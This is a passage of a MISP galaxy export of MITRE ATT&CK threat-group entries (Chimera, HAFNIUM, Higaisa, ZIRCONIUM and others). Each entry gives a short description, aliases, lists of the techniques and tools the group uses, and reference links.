- uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003" with estimative-language:likelihood-probability="almost-certain"

Table 5112. Table References

Links
https://attack.mitre.org/groups/G0112
https://objective-see.com/blog/blog_0x3B.html
https://objective-see.com/blog/blog_0x3D.html
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf

Chimera - G0114

[Chimera](https://attack.mitre.org/groups/G0114) is a suspected China-based threat group that has been active since at least 2018 targeting the semiconductor industry in Taiwan as well as data from the airline industry.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Chimera - G0114"*

Chimera - G0114 is also known as:

- Chimera

View relationships graph

Chimera - G0114 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="BloodHound - S0521" with estimative-language:likelihood-

probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Sharepoint - T1213.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credential Stuffing - T1110.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials - T1589.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="esentutl - S0404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Controller Authentication - T1556.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Interception - T1111" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5113. Table References

Links
https://attack.mitre.org/groups/G0114
https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf
https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/

Gelsemium - G0141

[Gelsemium](https://attack.mitre.org/groups/G0141) is a cyberespionage group that has been active since at least 2014, targeting governmental institutions, electronics manufacturers, universities, and religious organizations in East Asia and the Middle East.(Citation: ESET Gelsemium June 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Gelsemium - G0141"*

Gelsemium - G0141 is also known as:

- Gelsemium

Table 5114. Table References

Links
https://attack.mitre.org/groups/G0141
https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf

CostaRicto - G0132

[CostaRicto](https://attack.mitre.org/groups/G0132) is a suspected hacker-for-hire cyber espionage campaign that has targeted multiple industries worldwide since at least 2019. [CostaRicto](https://attack.mitre.org/groups/G0132)'s targets, a large portion of which are financial institutions, are scattered across Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia.(Citation: BlackBerry CostaRicto November 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="CostaRicto - G0132"*

CostaRicto - G0132 is also known as:

- CostaRicto

View relationships graph

CostaRicto - G0132 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PS1 - S0613" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="SombRAT - S0615" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="CostaBricks - S0614" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Tor - S0183" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5115. Table References

Links
https://attack.mitre.org/groups/G0132
https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced

Confucius - G0142

[Confucius](https://attack.mitre.org/groups/G0142) is a cyber espionage group that has primarily targeted military personnel, high-profile personalities, business persons, and government organizations in South Asia since at least 2013. Security researchers have noted similarities between [Confucius](https://attack.mitre.org/groups/G0142) and [Patchwork](https://attack.mitre.org/groups/G0040), particularly in their respective custom malware code and targets.(Citation: TrendMicro Confucius APT Feb 2018)(Citation: TrendMicro Confucius APT Aug 2021)(Citation: Uptycs Confucius APT Jan 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Confucius - G0142"*

Confucius - G0142 is also known as:

- Confucius APT

View relationships graph

Confucius - G0142 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="WarzoneRAT - S0670" with estimative-language:likelihood-probability="almost-certain"

Table 5116. Table References

Links

https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat
https://attack.mitre.org/groups/G0142
https://www.trendmicro.com/en_us/research/18/b/deciphering-confucius-cyberespionage-operations.html
https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html

Windigo - G0124

The [Windigo](https://attack.mitre.org/groups/G0124) group has been operating since at least 2011, compromising thousands of Linux and Unix servers using the [Ebury](https://attack.mitre.org/software/S0377) SSH backdoor to create a spam botnet. Despite law enforcement intervention against the creators, [Windigo](https://attack.mitre.org/groups/G0124) operators continued updating [Ebury](https://attack.mitre.org/software/S0377) through 2019.(Citation: ESET Windigo Mar 2014)(Citation: CERN Windigo June 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="Windigo - G0124"*

Windigo - G0124 is also known as:

- Windigo

View relationships graph

Windigo - G0124 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Ebury - S0377" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"

Table 5117. Table References

Links
https://attack.mitre.org/groups/G0124
https://security.web.cern.ch/advisories/windigo/windigo.shtml
https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/

HAFNIUM - G0125

[HAFNIUM](https://attack.mitre.org/groups/G0125) is a likely state-sponsored cyber espionage group operating out of China that has been active since at least January 2021. [HAFNIUM](https://attack.mitre.org/groups/G0125) primarily targets entities in the US across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="HAFNIUM - G0125"*

HAFNIUM - G0125 is also known as:

- HAFNIUM
- Operation Exchange Marauder

View relationships graph

HAFNIUM - G0125 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="IP Addresses - T1590.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ASPXSpy - S0073" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Client Configurations - T1592.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1583.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Gather Victim Network Information - T1590" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5118. Table References

Links
https://attack.mitre.org/groups/G0125
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/

Higaisa - G0126

[Higaisa](https://attack.mitre.org/groups/G0126) is a threat group suspected to have South Korean origins. [Higaisa](https://attack.mitre.org/groups/G0126) has targeted government, public, and trade organizations in North Korea; however, they have also carried out attacks in China, Japan, Russia, Poland, and other nations. [Higaisa](https://attack.mitre.org/groups/G0126) was first disclosed in early 2019 but is assessed to have operated as early as 2009.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Higaisa - G0126"*

Higaisa - G0126 is also known as:

- Higaisa

View relationships graph

Higaisa - G0126 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 5119. Table References

Links
https://attack.mitre.org/groups/G0126
https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/

https://www.zscaler.com/blogs/security-research/return-higaisa-apt

ZIRCONIUM - G0128

[ZIRCONIUM](https://attack.mitre.org/groups/G0128) is a threat group operating out of China, active since at least 2017, that has targeted individuals associated with the 2020 US presidential election and prominent leaders in the international affairs community.(Citation: Microsoft Targeting Elections September 2020)(Citation: Check Point APT31 February 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="ZIRCONIUM - G0128"*

ZIRCONIUM - G0128 is also known as:

- ZIRCONIUM
- APT31

View relationships graph

ZIRCONIUM - G0128 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Phishing for Information - T1598" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5120. Table References

Links
https://attack.mitre.org/groups/G0128
https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/
https://research.checkpoint.com/2021/the-story-of-jian/

BackdoorDiplomacy - G0135

[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) is a cyber espionage threat group that has been active since at least 2017. [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has targeted Ministries of Foreign Affairs and telecommunication companies in Africa, Europe, the Middle East, and Asia.(Citation: ESET BackdoorDiplomacy Jun 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="BackdoorDiplomacy - G0135"*

BackdoorDiplomacy - G0135 is also known as:

- BackdoorDiplomacy

View relationships graph

BackdoorDiplomacy - G0135 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Turian - S0647" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1588.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="NBTscan - S0590" with estimative-language:likelihood-probability="almost-certain"
